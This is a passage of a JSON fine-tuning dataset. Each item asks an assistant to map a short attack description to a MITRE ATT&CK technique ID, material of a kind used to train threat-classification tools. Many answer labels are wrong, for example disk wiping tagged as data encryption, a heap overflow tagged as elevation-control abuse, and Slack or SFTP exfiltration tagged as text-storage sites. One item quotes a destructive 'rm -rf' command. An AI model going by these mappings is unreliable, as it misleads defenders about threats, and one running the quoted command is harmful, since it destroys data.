                "content": "Cybercriminals create a self-signed certificate that mimics a trusted vendor's certificate to deceive users into installing malware."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits CVE-2022-22965 (Spring4Shell) to achieve remote code execution with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rename of the rogue tool to mimic \"cmd.exe\" before execution on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing MSBuild's ability to run custom tasks, threat actors execute a DLL that installs a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group encodes exfiltrated data into the payload of outbound ICMP echo requests directed at a malicious IP."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts email data from the local mail spool files (mbox) after gaining user privileges."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a search engine to discover open directories and pages that reference the target’s brand."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows API to enumerate wireless networks, extracting SSID names, signal strength, and encryption types."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of DCSync, the intruder obtained the password hashes of high-value accounts by mimicking replication traffic."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An automated script monitors the company's job posting portal, extracting applicant and employee names for building a targeted attack list."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a rootkit that intercepts audit logs, erasing evidence of its activities."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse service account permissions to issue a DeleteInstance request, removing critical servers."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant saves a stolen password hash in the registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection gathers the user's local email backups from cloud sync folders (e.g., OneDrive) and uploads them."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat adds a custom root certificate to the corporate network's trust store, allowing it to sign and trust malicious certificates for later stages."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using misconfigured NTP servers, the attacker sends small requests that trigger large responses aimed at overwhelming the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted XSL transformation request, the attacker caused a web application to run arbitrary code, leading to credential theft on the backend server."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the metadata of its custom backdoor and strips out all recognizable signatures before deployment to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Establishing a foothold using credentials gathered from external sources"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators acquire advertising accounts on ad networks and push malicious ads that exploit browser vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows Credential Manager entries by applying reversible encryption, enabling the credentials to be decrypted and reused."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs 'systeminfo' and 'hostname' commands to gather OS version, build number, and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script reads the securityd process space to pull credential data from an iPhone."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a credential‑stuffing attack against the organization’s public‑facing VPN portal to obtain valid user sessions."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new vulnerability is announced, allowing attackers to bypass authentication mechanisms on affected systems."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a systemd timer unit that launches a data‑exfiltration tool whenever the system reaches a specific load average."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged InstallUtil.exe as a proxy to execute a PowerShell payload from a compromised user account."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a phishing email, the attacker obtained credentials and changed the corporate news feed to a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors adjust the timestamps of registry hives to conceal registry modifications."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the user’s profile script (e.g., .bashrc), the attacker ensures a shell script runs on login, acting as a proxy for later malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested a certificate authority's root key from a misconfigured backup to forge certificates."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised Slack webhook to drop encrypted data snippets into a channel readable by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is uploaded to a compromised VPS via an insecure FTP service, enabling the attacker to launch further attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware periodically polls a public web server and retrieves base64‑encoded commands hidden in HTML comments, using the server as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\PwdPolicy to infer password rules."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee receives a targeted email with a malicious Word document attachment that, when opened, drops a payload on the system."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new domain user account in Active Directory to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate public cloud storage buckets for misconfigured files that contain API keys."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage an unsupported Azure Cloud region to spin up malicious containers that communicate with C2, avoiding standard monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code wipes the hard drive of servers during the night to cause data loss."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary logs into the victim's firewall management console to enumerate configured ACLs and rule sets."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was pushed to a Bitbucket repository after compressing sensitive documents, using the repository as a covert exfiltration channel."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the AWS IAM GetAccountAuthorizationDetails API to enumerate all users, groups, and roles in the account."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates an Outlook rule that triggers a script to extract credentials from newly received mail messages and send them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a permanent WMI listener to maintain persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code compresses stolen documents and sends them over covert HTTP POST requests to a remote exfiltration host."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts stored password hashes from memory and uses them to log into other machines on the network."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee’s cloud storage account was used to share a malicious executable with collaborators, which automatically runs on opening."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group planted a cron job that periodically ran 'rm -rf /var/www/html' to destroy web content."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s script reads the host's hostname and the disk serial number, continuing only if they match the hard‑coded profile."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets up a fake Wi‑Fi hotspot in a public area to capture credentials from nearby devices."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Graph API, the threat actor clears the Office 365 mailbox, removing both read and unread mails."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages passive DNS replication services to collect historical domain resolution data associated with the target organization."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ptrace, the threat actor reads and writes the memory of a privileged process to elevate its privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs timing checks by measuring the execution speed of a loop; if it runs too quickly, it assumes a debugger is present and terminates."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious update, the adversary replaced the default code‑signing policy XML with one that accepts any signed executable, subverting trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker creates a counterfeit administrative account in Active Directory, adding it to the Domain Admins group to gain full control."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised video streaming site serves a hidden payload that exploits browser vulnerabilities to install a keylogger on viewers."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal registers a new serverless function on Alibaba Cloud Function Compute to host ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious PowerShell script that repeatedly submits password guesses to a SharePoint login page until a correct password is found."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payload includes a check for the presence of the process 'wireshark.exe' and disables itself if detected."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a fake WordPress site on a compromised virtual private server to serve phishing pages and staging malware."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a heap overflow in a privileged service to execute code as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces strong AES-256 encryption with a weaker 128‑bit key to make decryption easier."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a widely used open‑source library’s download page, the threat actor enables a drive‑by download that installs a cryptominer on systems that visit the page, targeting specific industry sectors."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads /var/run/docker.sock and parses the JSON output of \"GET /containers/json\" to discover container IDs."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the Cached Domain Credentials stored in the registry under HKLM\\SECURITY\\Cache to reuse for authentication."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker concatenates command fragments with random characters and later removes them to execute the original command."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts an existing corporate code‑signing certificate from a build server and reuses it to sign ransomware components."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the /etc/passwd file on a Linux machine to collect usernames and user IDs."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a malicious launch daemon by placing a plist file in /Library/LaunchDaemons and setting it to run as root at system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool converts command output to a Base64 string before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware strips the Mark of the Web from an executable by overwriting the file's alternate data stream, enabling it to run silently."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a hidden scheduled job to zip user documents and upload them via SFTP."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal sent a crafted PowerPoint file to a senior executive, which executes a script to steal credentials once the file is opened."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sets the SafeDllSearchMode registry key to 0, trying to influence DLL loading order for code injection."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
